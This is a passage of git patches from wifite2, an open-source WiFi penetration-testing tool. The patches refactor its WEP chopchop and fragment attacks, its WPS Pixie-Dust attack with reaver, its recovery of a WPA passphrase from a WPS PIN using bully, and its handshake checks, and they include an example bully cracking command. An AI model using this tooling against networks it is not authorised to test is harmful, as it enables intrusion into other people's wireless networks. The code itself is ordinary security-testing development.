From 641dba0e632e6929569bb49ca7d05b637907db9a Mon Sep 17 00:00:00 2001 From: schoonc Date: Sun, 18 Mar 2018 12:45:50 +0300 Subject: [PATCH 01/52] Update Dockerfile --- Dockerfile | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/Dockerfile b/Dockerfile index 15b9e96d2..ad567939c 100644 --- a/Dockerfile +++ b/Dockerfile @@ -7,7 +7,7 @@ ENV HASHCAT_VERSION hashcat-3.6.0 RUN echo "deb-src http://deb.debian.org/debian jessie main" >> /etc/apt/sources.list RUN apt-get update && apt-get upgrade -y RUN apt-get install ca-certificates gcc openssl make kmod nano wget p7zip build-essential libsqlite3-dev libpcap0.8-dev libpcap-dev sqlite3 pkg-config libnl-genl-3-dev libssl-dev net-tools iw ethtool usbutils pciutils wireless-tools git curl wget unzip macchanger pyrit tshark -y -RUN apt-get build-dep aircrack-ng +RUN apt-get build-dep aircrack-ng -y @@ -16,7 +16,7 @@ RUN wget http://download.aircrack-ng.org/aircrack-ng-1.2-rc4.tar.gz RUN tar xzvf aircrack-ng-1.2-rc4.tar.gz WORKDIR /aircrack-ng-1.2-rc4/ RUN make -RUN make installl +RUN make install RUN airodump-ng-oui-update # Workdir / @@ -24,7 +24,7 @@ WORKDIR / # Install wps-pixie RUN git clone https://github.com/wiire/pixiewps -WORKDIR /pixiewps/src/ +WORKDIR /pixiewps/ RUN make RUN make install @@ -47,7 +47,7 @@ WORKDIR / #Install and configure hashcat RUN mkdir hashcat && \ cd hashcat && \ - wget http://hashcat.net/files/${HASHCAT_VERSION}.7z && \ + wget https://hashcat.net/files_legacy/${HASHCAT_VERSION}.7z && \ 7zr e ${HASHCAT_VERSION}.7z From 34d6b69b4823db7afa662b0e3ae00197fb216baf Mon Sep 17 00:00:00 2001 From: derv82 Date: Sat, 17 Mar 2018 17:42:44 -0400 Subject: [PATCH 02/52] Fixing whitespace (tabs) on 'baddriver' methods --- wifite/tools/airmon.py | 29 +++++++++++++++-------------- 1 file changed, 15 insertions(+), 14 deletions(-) diff --git a/wifite/tools/airmon.py b/wifite/tools/airmon.py index 352bd0b23..ad782e773 100755 --- a/wifite/tools/airmon.py +++ b/wifite/tools/airmon.py @@ -62,21 +62,21 @@ def get_interfaces(): @staticmethod def start_baddriver(iface): #fix for bad drivers like the rtl8812AU - os.system("ifconfig %s down; iwconfig %s mode monitor; ifconfig %s up" % (iface, iface, iface)) - with open("/sys/class/net/" + iface + "/type", "r") as f: - if (int(f.read()) == Airmon.ARPHRD_IEEE80211_RADIOTAP): - return iface + os.system("ifconfig %s down; iwconfig %s mode monitor; ifconfig %s up" % (iface, iface, iface)) + with open("/sys/class/net/" + iface + "/type", "r") as f: + if (int(f.read()) == Airmon.ARPHRD_IEEE80211_RADIOTAP): + return iface - return None + return None @staticmethod def stop_baddriver(iface): - os.system("ifconfig %s down; iwconfig %s mode managed; ifconfig %s up" % (iface, iface, iface)) - with open("/sys/class/net/" + iface + "/type", "r") as f: - if (int(f.read()) == Airmon.ARPHRD_ETHER): - return iface + os.system("ifconfig %s down; iwconfig %s mode managed; ifconfig %s up" % (iface, iface, iface)) + with open("/sys/class/net/" + iface + "/type", "r") as f: + if (int(f.read()) == Airmon.ARPHRD_ETHER): + return iface - return None + return None @staticmethod def start(iface): @@ -113,9 +113,10 @@ def start(iface): if mon_iface is None: # Airmon did not enable monitor mode on an interface - mon_iface = Airmon.start_baddriver(iface) - if mon_iface is None: - Color.pl("{R}failed{W}") + mon_iface = Airmon.start_baddriver(iface) + + if mon_iface is None: + Color.pl("{R}failed{W}") mon_ifaces = Airmon.get_interfaces_in_monitor_mode() @@ -159,7 +160,7 @@ def stop(iface): break if not mon_iface: - mon_iface = Airmon.stop_baddriver(iface) + mon_iface = Airmon.stop_baddriver(iface) if mon_iface: Color.pl('{R}disabled %s{W}' % mon_iface) From a488cf86f1b197995cf53f02528eabcf1c7360ba Mon Sep 17 00:00:00 2001 From: derv82 Date: Sat, 24 Mar 2018 13:59:58 -0400 Subject: [PATCH 03/52] Bugfix: Don't infinitely loop while calculating Hex & ASCII key from WEP attack. * Simplified HEX/ASCII conversion. Avoids infinite loop :thinking: * Added integration test: python -m wifite.tools.aircrack Should resolve "hanging" issues during WEP attacks such as #27. --- wifite/attack/wep.py | 14 ++------ wifite/tools/aircrack.py | 75 ++++++++++++++++++++++++---------------- 2 files changed, 48 insertions(+), 41 deletions(-) diff --git a/wifite/attack/wep.py b/wifite/attack/wep.py index bf74f2994..7934d3579 100755 --- a/wifite/attack/wep.py +++ b/wifite/attack/wep.py @@ -94,12 +94,7 @@ def run(self): if aireplay.status is not None: status += ", %s" % aireplay.status Color.clear_entire_line() - Color.pattack("WEP", - airodump_target, - "%s" % attack_name, - status) - - #self.aircrack_check() + Color.pattack("WEP", airodump_target, "%s" % attack_name, status) # Check if we cracked it. if aircrack and aircrack.is_cracked(): @@ -109,8 +104,7 @@ def run(self): essid = airodump_target.essid else: essid = None - Color.pl('\n{+} {C}%s{W} WEP attack {G}successful{W}\n' - % attack_name) + Color.pl('\n{+} {C}%s{W} WEP attack {G}successful{W}\n' % attack_name) if aireplay: aireplay.stop() if fakeauth_proc: fakeauth_proc.stop() self.crack_result = CrackResultWEP(self.target.bssid, @@ -143,9 +137,7 @@ def run(self): # Restart aircrack after X seconds aircrack.stop() ivs_file = airodump.find_files(endswith='.ivs')[0] - Color.pl('\n{+} {C}aircrack{W} ran for more than' + - ' {C}%d{W} seconds, restarting' - % Configuration.wep_restart_aircrack) + Color.pl('\n{+} {C}aircrack{W} ran for more than {C}%d{W} seconds, restarting' % Configuration.wep_restart_aircrack) aircrack = Aircrack(ivs_file) diff --git a/wifite/tools/aircrack.py b/wifite/tools/aircrack.py index d0c73f0dc..04364af31 100755 --- a/wifite/tools/aircrack.py +++ b/wifite/tools/aircrack.py @@ -39,44 +39,59 @@ def stop(self): def get_key_hex_ascii(self): if not self.is_cracked(): raise Exception('Cracked file not found') + with open(self.cracked_file, 'r') as fid: hex_raw = fid.read() - hex_key = '' + + return self._hex_and_ascii_key(hex_raw) + + @staticmethod + def _hex_and_ascii_key(hex_raw): + hex_chars = [] ascii_key = '' - while len(hex_raw) > 0: - # HEX - if hex_key != '': - hex_key += ':' - hex_key += hex_raw[0:2] - - # ASCII - # Convert hex to decimal - code = int(hex_raw[0:2], 16) - if code < 32 or code > 127: - # Hex key is non-printable in ascii - ascii_key = None - continue - elif ascii_key is None: - # We can't generate an Ascii key - continue - # Convert decimal to char - ascii_key += chr(code) - - # Trim first two characters - hex_raw = hex_raw[2:] - continue + for index in xrange(0, len(hex_raw), 2): + byt = hex_raw[index:index+2] + hex_chars.append(byt) + byt_int = int(byt, 16) + if byt_int < 32 or byt_int > 127 or ascii_key is None: + ascii_key = None # Not printable + else: + ascii_key += chr(byt_int) + + hex_key = ':'.join(hex_chars) return (hex_key, ascii_key) + def __del__(self): + if os.path.exists(self.cracked_file): + os.remove(self.cracked_file) + if __name__ == '__main__': + (hexkey, asciikey) = Aircrack._hex_and_ascii_key('A1B1C1D1E1') + assert hexkey == 'A1:B1:C1:D1:E1', 'hexkey was "%s", expected "A1:B1:C1:D1:E1"' % hexkey + assert asciikey is None, 'asciikey was "%s", expected None' % asciikey + + (hexkey, asciikey) = Aircrack._hex_and_ascii_key('6162636465') + assert hexkey == '61:62:63:64:65', 'hexkey was "%s", expected "61:62:63:64:65"' % hexkey + assert asciikey == 'abcde', 'asciikey was "%s", expected "abcde"' % asciikey + from time import sleep + Configuration.initialize(False) - a = Aircrack('tests/files/wep-crackable.ivs') - while a.is_running(): + + ivs_file = 'tests/files/wep-crackable.ivs' + print "Running aircrack on %s ..." % ivs_file + + aircrack = Aircrack(ivs_file) + while aircrack.is_running(): sleep(1) - if a.is_cracked(): - print "cracked!" - print '(hex, ascii) =', a.get_key_hex_ascii() - else: - print "Not cracked" + + assert aircrack.is_cracked(), "Aircrack should have cracked %s" % ivs_file + print "aircrack process completed." + + (hexkey, asciikey) = aircrack.get_key_hex_ascii() + print "aircrack found HEX key: (%s) and ASCII key: (%s)" % (hexkey, asciikey) + assert hexkey == '75:6E:63:6C:65', 'hexkey was "%s", expected "75:6E:63:6C:65"' % hexkey + assert asciikey == 'uncle', 'asciikey was "%s", expected "uncle"' % asciikey + Configuration.exit_gracefully(0) From 19c38bd06c773be0feb8bb04aaddef94b7466780 Mon Sep 17 00:00:00 2001 From: derv82 Date: Sat, 24 Mar 2018 15:01:29 -0400 Subject: [PATCH 04/52] Fetch PSK when reaver fails to find it using Bully Also changed reaver --timeout from 10 seconds (default) to 4 seconds. Resolves #76 --- wifite/tools/bully.py | 44 +++++++++++++++++++++++++++++++++++++++++- wifite/tools/reaver.py | 12 +++++++++++- 2 files changed, 54 insertions(+), 2 deletions(-) diff --git a/wifite/tools/bully.py b/wifite/tools/bully.py index c083e02f0..cdc08626b 100755 --- a/wifite/tools/bully.py +++ b/wifite/tools/bully.py @@ -2,12 +2,12 @@ # -*- coding: utf-8 -*- from ..model.attack import Attack +from ..model.wps_result import CrackResultWPS from ..tools.airodump import Airodump from ..util.color import Color from ..util.timer import Timer from ..util.process import Process from ..config import Configuration -from ..model.wps_result import CrackResultWPS import os, time, re from threading import Thread @@ -214,7 +214,48 @@ def stop(self): def __del__(self): self.stop() + @staticmethod + def get_psk_from_pin(target, pin): + ''' + bully --channel 1 --bssid 34:21:09:01:92:7C --pin 01030365 --bruteforce wlan0mon + PIN : '01030365' + KEY : 'password' + BSSID : '34:21:09:01:92:7c' + ESSID : 'AirLink89300' + ''' + Color.pl('\n{+} found PIN: {G}%s{W}' % pin) + Color.p('{+} fetching {C}PSK{W} using {C}bully{W}... ') + cmd = [ + 'bully', + '--channel', target.channel, + '--bssid', target.bssid, + '--pin', pin, + '--bruteforce', + Configuration.interface + ] + + bully_proc = Process(cmd) + + for line in bully_proc.stderr().split('\n'): + key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line) + if key_re is not None: + psk = key_re.group(1) + Color.pl('{W}found PSK: {G}%s{W}' % psk) + return psk + + Color.pl('{R}failed{W}') + return None + if __name__ == '__main__': + Configuration.initialize() + Configuration.interface = 'wlan0mon' + from ..model.target import Target + fields = '34:21:09:01:92:7C,2015-05-27 19:28:44,2015-05-27 19:28:46,1,54,WPA2,CCMP TKIP,PSK,-58,2,0,0.0.0.0,9,AirLink89300,'.split(',') + target = Target(fields) + psk = Bully.get_psk_from_pin(target, '01030365') + print "psk", psk + + ''' stdout = " [*] Pin is '11867722', key is '9a6f7997'" Configuration.initialize(False) from ..model.target import Target @@ -222,3 +263,4 @@ def __del__(self): target = Target(fields) b = Bully(target) b.parse_line(stdout) + ''' diff --git a/wifite/tools/reaver.py b/wifite/tools/reaver.py index 5a3fe48e2..22059418b 100755 --- a/wifite/tools/reaver.py +++ b/wifite/tools/reaver.py @@ -6,6 +6,7 @@ from ..util.color import Color from ..util.process import Process from ..tools.airodump import Airodump +from ..tools.bully import Bully # for PSK retrieval from ..model.wps_result import CrackResultWPS import os, time, re @@ -33,6 +34,7 @@ def run_pixiedust_attack(self): '--bssid', self.target.bssid, '--channel', self.target.channel, '--pixie-dust', '1', # pixie-dust attack + '--timeout', '4', # Stop waiting after 4 seconds #'--delay', '0', #'--no-nacks', '--session', '/dev/null', # Don't restart session @@ -80,9 +82,17 @@ def run_pixiedust_attack(self): # Check if we cracked it. if pin is not None: # We cracked it. + + if psk is None: + # Try to derive PSK from PIN using Bully + psk = Bully.get_psk_from_pin(self.target, pin) + bssid = self.target.bssid Color.clear_entire_line() - Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}") + if psk is None: + Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN{W} (but not PSK)") + else: + Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}") Color.pl("") self.crack_result = CrackResultWPS(bssid, ssid, pin, psk) self.crack_result.dump() From d8da6798de17eca0e1a8fcb34675af4fc6567af8 Mon Sep 17 00:00:00 2001 From: derv82 Date: Sun, 25 Mar 2018 04:36:20 -0400 Subject: [PATCH 05/52] Update README. Add ideas to TODO after reading the first 20 issues on wifite v1 :( --- README.md | 14 +++++++------- TODO.md | 46 +++++++++++++++++++++++++++++++++++++--------- 2 files changed, 44 insertions(+), 16 deletions(-) diff --git a/README.md b/README.md index 5a07a6609..f4c39cb00 100644 --- a/README.md +++ b/README.md @@ -4,21 +4,21 @@ A complete re-write of [`wifite`](https://github.com/derv82/wifite), a Python sc What's new? ----------- -* Lots of files instead of "one big script". * Cleaner process management -- No longer leaves processes running in the background. * UX: Target access points are refreshed every second instead of every 5 seconds. * UX: Displays realtime Power level (in db) of currently-attacked target +* No more WPS PIN attack (which can take days on-average). But the Pixie-Dust attack is still around. +* Development: Lots of files instead of "one big script". What's not new? --------------- * Backwards compatibility with the original `wifite`'s arguments. * Same text-based interface everyone knows and loves. -Full Feature List ------------------ -* Reaver Pixie-Dust attack (`--pixie`) -* Reaver WPS PIN attack (`--reaver`) -* WPA handshake capture (`--no-reaver`) +Brief Feature List +------------------ +* Reaver Pixie-Dust attack (`--wps-only`) +* WPA handshake capture (`--no-wps`) * Validates handshakes against `pyrit`, `tshark`, `cowpatty`, and `aircrack-ng` * Various WEP attacks (replay, chopchop, fragment, etc) * 5Ghz support for wireless cards that support 5ghz (use `-5` option) @@ -28,7 +28,7 @@ Full Feature List Support ------- -Wifite2 is designed entirely for the latest version of Kali Rolling release (tested on Kali 2016.2, updated May 2017). +Wifite2 is designed entirely for the latest version of Kali Rolling release (tested on Kali 2017.2, updated Jan 2018). This means only the latest versions of these programs are supported: Aircrack-ng suite, reaver, tshark, cowpatty. diff --git a/TODO.md b/TODO.md index ac10678b5..e3a909cb9 100644 --- a/TODO.md +++ b/TODO.md @@ -4,6 +4,39 @@ This file is a braindump of ideas to improve Wifite2 (or forward-looking to "Wif ------------------------------------------------------ +### Support Other Distributions (not just Kali x86/64) + +Off the top of my head: + +* Raspberry Pi (or any Debian distro) +* Raspberry Pi + Kali (?) +* Kali Nethunter +* Various other distributions (backbox, pentoo, blackarch, etc) + +Deprecation of "core" programs: + +* `iwconfig` is deprecated in favor of `iw` +* `ifconfig` is deprecated in favor of `ip` + +Versioning problems: + +* Pixiewps output differs depending on version + * Likewise for reaver & bully +* Reaver and bully args have changed significantly over the years (added/removed/required) +* airodump-ng --write-interval=1 doesn't work on older versions + * Same with --wps and a few other options :( +* airmon-ng output differs, wifite sees "phy0" instead of the interface name. + +Misc problems: + +* Some people have problems with multiple wifi cards plugged in + * Solution: User prompt when no devices are in monitor mode (ask first). +* Some people want wifite to kill network manager, others don't. + * Solution: User prompt to kill processes +* Some people need --ignore-negative-one on some wifi cards. + +------------------------------------------------------ + ### Command-line Arguments Wifite is a 'Spray and Pray', 'Big Red Button' script. Wifite should not provide obscure options that only advanced users can understand. Advanced users can simply use Wifite's dependencies directly. @@ -54,20 +87,13 @@ And some native Python implementations might be cross-platform, which would allo Some of Wifite's dependencies work on other OSes (airodump) but some don't (airmon). -If it's possible to run these programs on Windows or OSX, Wifite should suporrt that. - ------------------------------------------------------- - -### Backwards Compatibility - -* WIFITE: needs command-line parity with older versions (or does it?) -* AIRODUMP: --output-format, --wps, and other flags are only in new versions of Airodump. +If it's possible to run these programs on Windows or OSX, Wifite should support that. ------------------------------------------------------ ### WPS Attacks -Wifite's Pixie-Dust attack status output differs between Reaver & Bully. And the command line switches are... not even used? +Wifite's Pixie-Dust attack status output differs between Reaver & Bully. And the command line switches are... not even used by bully? Ideally for Pixie-Dust, we'd have: @@ -98,6 +124,8 @@ Users with that kind of dedication can run bully/reaver themselves. ### Directory structure +**Note: This was mostly done in the great refactoring of Late March 2018** + Too modular in some places, not modular enough in others. Not "/py": From b0bd57b1a34db02ff1960349b2a54023af5dfb30 Mon Sep 17 00:00:00 2001 From: derv82 Date: Sun, 25 Mar 2018 15:58:21 -0400 Subject: [PATCH 06/52] Improve messaging during chopchop & fragment attacks Bugfix when chopchop fails. Displays aircrack's error message when chopchop fails. For improving WEP attacks in #27 --- wifite/attack/wep.py | 10 ++++-- wifite/tools/aireplay.py | 72 ++++++++++++++++++++++++++++++++++++---- wifite/util/process.py | 8 ++--- 3 files changed, 77 insertions(+), 13 deletions(-) diff --git a/wifite/attack/wep.py b/wifite/attack/wep.py index 7934d3579..39b1a0307 100755 --- a/wifite/attack/wep.py +++ b/wifite/attack/wep.py @@ -85,6 +85,10 @@ def run(self): while True: airodump_target = self.wait_for_target(airodump) + + if client_mac is None and len(airodump_target.clients) > 0: + client_mac = airodump_target.clients[0].station + status = "%d/{C}%d{W} IVs" % (airodump_target.ivs, Configuration.wep_crack_at_ivs) if fakeauth_proc: if fakeauth_proc and fakeauth_proc.status: @@ -154,7 +158,7 @@ def run(self): # If .xor is not there, the process failed. Color.pl('\n{!} {O}%s attack{R} did not generate a .xor file' % attack_name) # XXX: For debugging - Color.pl('{?} {O}Command: {R}%s{W}' % aireplay.cmd) + Color.pl('{?} {O}Command: {R}%s{W}' % " ".join(aireplay.cmd)) Color.pl('{?} {O}Output:\n{R}%s{W}' % aireplay.get_output()) break @@ -179,8 +183,8 @@ def run(self): break else: Color.pl('\n{!} {O}aireplay-ng exited unexpectedly{W}') - Color.pl('{?} {O}Command: {R}%s{W}' % aireplay.cmd) - Color.pl('{?} {O}Output:\n%s{W}' % aireplay.get_output()) + Color.pl('{?} {O}Command: {R}%s{W}' % " ".join(aireplay.cmd)) + Color.pl('{?} {O}Output:\n{R}%s{W}' % aireplay.get_output()) break # Continue to other attacks # Check if IVs stopped flowing (same for > N seconds) diff --git a/wifite/tools/aireplay.py b/wifite/tools/aireplay.py index c0c71d24f..b9c1e014f 100755 --- a/wifite/tools/aireplay.py +++ b/wifite/tools/aireplay.py @@ -90,17 +90,25 @@ def stop(self): def get_output(self): ''' Returns stdout from aireplay process ''' - return self.pid.stdout() + return self.stdout def run(self): + self.stdout = '' + self.xor_percent = '0%' while self.pid.poll() is None: time.sleep(0.1) if not os.path.exists(self.output_file): continue # Read output file & clear output file with open(self.output_file, "r+") as fid: lines = fid.read() + self.stdout += lines fid.seek(0) fid.truncate() + + if Configuration.verbose > 1 and lines.strip() != '': + from ..util.color import Color + Color.pl('\n{P} [?] aireplay output:\n %s{W}' % lines.strip().replace('\n', '\n ')) + for line in lines.split("\n"): line = line.replace("\r", "").strip() if line == "": continue @@ -124,33 +132,85 @@ def run(self): self.status = True elif self.attack_type == WEPAttackType.chopchop: # Look for chopchop status. Potential output lines: + # (START) Read 178 packets... read_re = re.compile(r"Read (\d+) packets") matches = read_re.match(line) if matches: self.status = "Waiting for packet (read %s)..." % matches.group(1) + + # Sent 1912 packets, current guess: 70... + sent_re = re.compile(r"Sent (\d+) packets, current guess: (\w+)...") + matches = sent_re.match(line) + if matches: + self.status = "Generating .xor (%s)... current guess: %s" % (self.xor_percent, matches.group(2)) + # (DURING) Offset 52 (54% done) | xor = DE | pt = E0 | 152 frames written in 2782ms offset_re = re.compile(r"Offset.*\(\s*(\d+%) done\)") matches = offset_re.match(line) if matches: - self.status = "Generating Xor (%s)" % matches.group(1) + self.xor_percent = matches.group(1) + self.status = "Generating .xor (%s)..." % matches.group(1) + # (DONE) Saving keystream in replay_dec-0516-202246.xor saving_re = re.compile(r"Saving keystream in (.*\.xor)") matches = saving_re.match(line) if matches: self.status = matches.group(1) - pass + + # (ERROR) fakeauth required + if 'try running aireplay-ng in authenticated mode' in line: + self.status = 'fakeauth is required and you are not authenticated' + elif self.attack_type == WEPAttackType.fragment: - # TODO: Parse fragment output, update self.status + # Parse fragment output, update self.status + + # (START) Read 178 packets... + read_re = re.compile(r"Read (\d+) packets") + matches = read_re.match(line) + if matches: + self.status = "Waiting for packet (read %s)..." % matches.group(1) + # 01:08:15 Waiting for a data packet... + if 'Waiting for a data packet' in line: + self.status = 'waiting for packet' + + # Read 207 packets... + trying_re = re.compile(r"Trying to get (\d+) bytes of a keystream") + matches = trying_re.match(line) + if matches: + self.status = 'trying to get %sb of a keystream' % matches.group(1) + # 01:08:17 Sending fragmented packet + if 'Sending fragmented packet' in line: + self.status = 'sending packet' + # 01:08:37 Still nothing, trying another packet... + if 'Still nothing, trying another packet' in line: + self.status = 'sending another packet' + # XX:XX:XX Trying to get 1500 bytes of a keystream + trying_re = re.compile(r"Trying to get (\d+) bytes of a keystream") + matches = trying_re.match(line) + if matches: + self.status = 'trying to get %sb of a keystream' % matches.group(1) + # XX:XX:XX Got RELAYED packet!! + if 'Got RELAYED packet' in line: + self.status = 'got relayed packet' + # XX:XX:XX Thats our ARP packet! + if 'Thats our ARP packet' in line: + self.status = 'relayed packet was our' + # XX:XX:XX Saving keystream in fragment-0124-161129.xor + saving_re = re.compile(r"Saving keystream in (.*\.xor)") + matches = saving_re.match(line) + if matches: + self.status = 'saving keystream to %s' % saving_re.group(1) + # XX:XX:XX Now you can build a packet with packetforge-ng out of that 1500 bytes keystream - pass + else: # Replay, forged replay, etc. # Parse Packets Sent & PacketsPerSecond. Possible output lines: # Read 55 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps) @@ -188,7 +248,7 @@ def get_aireplay_command(target, attack_type, cmd = ["aireplay-ng"] cmd.append("--ignore-negative-one") - if not client_mac and len(target.clients) > 0: + if client_mac is None and len(target.clients) > 0: # Client MAC wasn't specified, but there's an associated client. Use that. client_mac = target.clients[0].station diff --git a/wifite/util/process.py b/wifite/util/process.py index 76c22cc56..a9564ddb6 100755 --- a/wifite/util/process.py +++ b/wifite/util/process.py @@ -36,9 +36,9 @@ def call(command, cwd=None, shell=False): pid.wait() (stdout, stderr) = pid.communicate() - if Configuration.verbose > 1 and stdout.strip() != '': + if Configuration.verbose > 1 and stdout is not None and stdout.strip() != '': Color.pe("{P} [stdout] %s{W}" % '\n [stdout] '.join(stdout.strip().split('\n'))) - if Configuration.verbose > 1 and stderr.strip() != '': + if Configuration.verbose > 1 and stderr is not None and stderr.strip() != '': Color.pe("{P} [stderr] %s{W}" % '\n [stderr] '.join(stderr.strip().split('\n'))) return (stdout, stderr) @@ -91,14 +91,14 @@ def __del__(self): def stdout(self): ''' Waits for process to finish, returns stdout output ''' self.get_output() - if Configuration.verbose > 1 and self.out.strip() != '': + if Configuration.verbose > 1 and self.out is not None and self.out.strip() != '': Color.pe("{P} [stdout] %s{W}" % '\n [stdout] '.join(self.out.strip().split('\n'))) return self.out def stderr(self): ''' Waits for process to finish, returns stderr output ''' self.get_output() - if Configuration.verbose > 1 and self.err.strip() != '': + if Configuration.verbose > 1 and self.err is not None and self.err.strip() != '': Color.pe("{P} [stderr] %s{W}" % '\n [stderr] '.join(self.err.strip().split('\n'))) return self.err From 909b10e517b49d51e8e64c3c4977ea69471d47a2 Mon Sep 17 00:00:00 2001 From: derv82 Date: Sat, 31 Mar 2018 18:05:47 -0400 Subject: [PATCH 07/52] Make tshark non-required. * WPS-detection is not required for non-WPS attacks. * Handshake analysis can be done using aircrack, cowpatty, pyrit, etc. --- wifite/wifite.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/wifite/wifite.py b/wifite/wifite.py index 196ef8f4e..006bbc818 100755 --- a/wifite/wifite.py +++ b/wifite/wifite.py @@ -47,8 +47,8 @@ def main(self): def dependency_check(self): ''' Check that required programs are installed ''' - required_apps = ['airmon-ng', 'iwconfig', 'ifconfig', 'aircrack-ng', 'aireplay-ng', 'airodump-ng', 'tshark'] - optional_apps = ['packetforge-ng', 'reaver', 'bully', 'cowpatty', 'pyrit', 'stdbuf', 'macchanger'] + required_apps = ['airmon-ng', 'iwconfig', 'ifconfig', 'aircrack-ng', 'aireplay-ng', 'airodump-ng'] + optional_apps = ['packetforge-ng', 'reaver', 'bully', 'cowpatty', 'pyrit', 'stdbuf', 'macchanger', 'tshark'] missing_required = False missing_optional = False From 528741f89fb393b09755a75019a23fa40ba2dd98 Mon Sep 17 00:00:00 2001 From: derv82 Date: Sat, 31 Mar 2018 18:40:04 -0400 Subject: [PATCH 08/52] Fix bully: --force when deriving PSK from PIN --- wifite/tools/bully.py | 1 + 1 file changed, 1 insertion(+) diff --git a/wifite/tools/bully.py b/wifite/tools/bully.py index cdc08626b..45c675aa6 100755 --- a/wifite/tools/bully.py +++ b/wifite/tools/bully.py @@ -231,6 +231,7 @@ def get_psk_from_pin(target, pin): '--bssid', target.bssid, '--pin', pin, '--bruteforce', + '--force', Configuration.interface ] From 1ad17472b2acee94731a3ba8c799411d306232f9 Mon Sep 17 00:00:00 2001 From: derv82 Date: Sat, 31 Mar 2018 18:40:39 -0400 Subject: [PATCH 09/52] Tshark is optional, falls-back to Wash for WPS-detection. Should resolve #77 --- wifite/model/handshake.py | 10 +++--- wifite/tools/airodump.py | 7 +++- wifite/tools/tshark.py | 11 +++--- wifite/tools/wash.py | 74 +++++++++++++++++++++++++++++++++++++++ 4 files changed, 91 insertions(+), 11 deletions(-) create mode 100644 wifite/tools/wash.py diff --git a/wifite/model/handshake.py b/wifite/model/handshake.py index a93df723a..609c0aa34 100755 --- a/wifite/model/handshake.py +++ b/wifite/model/handshake.py @@ -17,7 +17,7 @@ def divine_bssid_and_essid(self): ''' Tries to find BSSID and ESSID from cap file. Sets this instances 'bssid' and 'essid' instance fields. - ''' + ''' # Get list of bssid/essid pairs from cap file pairs = self.tshark_bssid_essid_pairs() if len(pairs) == 0: @@ -65,14 +65,12 @@ def has_handshake(self): if len(self.pyrit_handshakes()) > 0: return True - - # XXX: Disabling these checks since I don't think they are reliable. - ''' if len(self.cowpatty_handshakes()) > 0: return True + if len(self.aircrack_handshakes()) > 0: return True - ''' + return False @@ -82,7 +80,7 @@ def tshark_bssid_essid_pairs(self): Returns list of tuples: (bssid,essid) ''' if not Process.exists('tshark'): - raise Exception('tshark is required to find ESSID') + return [] essids = set() diff --git a/wifite/tools/airodump.py b/wifite/tools/airodump.py index 7e52d7d14..9966c5aca 100755 --- a/wifite/tools/airodump.py +++ b/wifite/tools/airodump.py @@ -2,6 +2,7 @@ # -*- coding: utf-8 -*- from .tshark import Tshark +from .wash import Wash from ..util.process import Process from ..config import Configuration from ..model.target import Target @@ -142,7 +143,11 @@ def get_targets(self, apply_filter=True): # Check targets for WPS if not self.skip_wps: capfile = csv_filename[:-3] + 'cap' - Tshark.check_for_wps_and_update_targets(capfile, targets) + try: + Tshark.check_for_wps_and_update_targets(capfile, targets) + except Exception, e: + # No tshark, or it failed. Fall-back to wash + Wash.check_for_wps_and_update_targets(capfile, targets) if apply_filter: # Filter targets based on encryption & WPS capability diff --git a/wifite/tools/tshark.py b/wifite/tools/tshark.py index 36a0d0fff..f5f949e5f 100755 --- a/wifite/tools/tshark.py +++ b/wifite/tools/tshark.py @@ -10,6 +10,10 @@ class Tshark(object): def __init__(self): pass + @staticmethod + def exists(): + return Process.exists('tshark') + @staticmethod def check_for_wps_and_update_targets(capfile, targets): ''' @@ -21,9 +25,9 @@ def check_for_wps_and_update_targets(capfile, targets): capfile - .cap file from airodump containing packets targets - list of Targets from scan, to be updated ''' - # Tshark is required to detect WPS networks - if not Process.exists('tshark'): - return + + if not Tshark.exists(): + raise Exception('Cannot detect WPS networks: Tshark does not exist') command = [ 'tshark', @@ -38,7 +42,6 @@ def check_for_wps_and_update_targets(capfile, targets): ] p = Process(command) - try: p.wait() lines = p.stdout() diff --git a/wifite/tools/wash.py b/wifite/tools/wash.py new file mode 100644 index 000000000..914477d56 --- /dev/null +++ b/wifite/tools/wash.py @@ -0,0 +1,74 @@ +#!/usr/bin/python2.7 +# -*- coding: utf-8 -*- + +from ..util.process import Process +import json + +class Wash(object): + ''' Wrapper for Wash program. ''' + + def __init__(self): + pass + + @staticmethod + def exists(): + return Process.exists('wash') + + @staticmethod + def check_for_wps_and_update_targets(capfile, targets): + if not Wash.exists(): + return + + command = [ + 'wash', + '-f', capfile, + '-j' # json + ] + + p = Process(command) + try: + p.wait() + lines = p.stdout() + except: + # Failure is acceptable + return + + # Find all BSSIDs + bssids = set() + for line in lines.split('\n'): + try: + obj = json.loads(line) + bssid = obj['bssid'] + locked = obj['wps_locked'] + if locked != True: + bssids.add(bssid) + except: + pass + + # Update targets + for t in targets: + t.wps = t.bssid.upper() in bssids + +if __name__ == '__main__': + test_file = './tests/files/contains_wps_network.cap' + + target_bssid = 'A4:2B:8C:16:6B:3A' + from ..model.target import Target + fields = [ + 'A4:2B:8C:16:6B:3A', # BSSID + '2015-05-27 19:28:44', '2015-05-27 19:28:46', # Dates + '11', # Channel + '54', # throughput + 'WPA2', 'CCMP TKIP', 'PSK', # AUTH + '-58', '2', '0', '0.0.0.0', '9', # ??? + 'Test Router Please Ignore', # SSID + ] + t = Target(fields) + targets = [t] + + # Should update 'wps' field of a target + Wash.check_for_wps_and_update_targets(test_file, targets) + + print 'Target(BSSID={}).wps = {} (Expected: True)'.format(targets[0].bssid, targets[0].wps) + assert targets[0].wps == True + From 3eddcaa59f1551fc8305d07525f67ba23dca21db Mon Sep 17 00:00:00 2001 From: derv82 Date: Sat, 31 Mar 2018 23:02:00 -0400 Subject: [PATCH 10/52] Support for Python3 That was fun. --- wifite/args.py | 6 +++--- wifite/attack/wep.py | 1 + wifite/config.py | 16 ++++++++-------- wifite/model/client.py | 4 ++-- wifite/model/handshake.py | 5 ++--- wifite/model/interface.py | 2 +- wifite/model/result.py | 2 +- wifite/model/target.py | 2 +- wifite/model/wpa_result.py | 4 ++-- wifite/tools/aircrack.py | 7 ++++--- wifite/tools/aireplay.py | 16 ++++++++-------- wifite/tools/airmon.py | 3 ++- wifite/tools/airodump.py | 9 +++++++-- wifite/tools/bully.py | 2 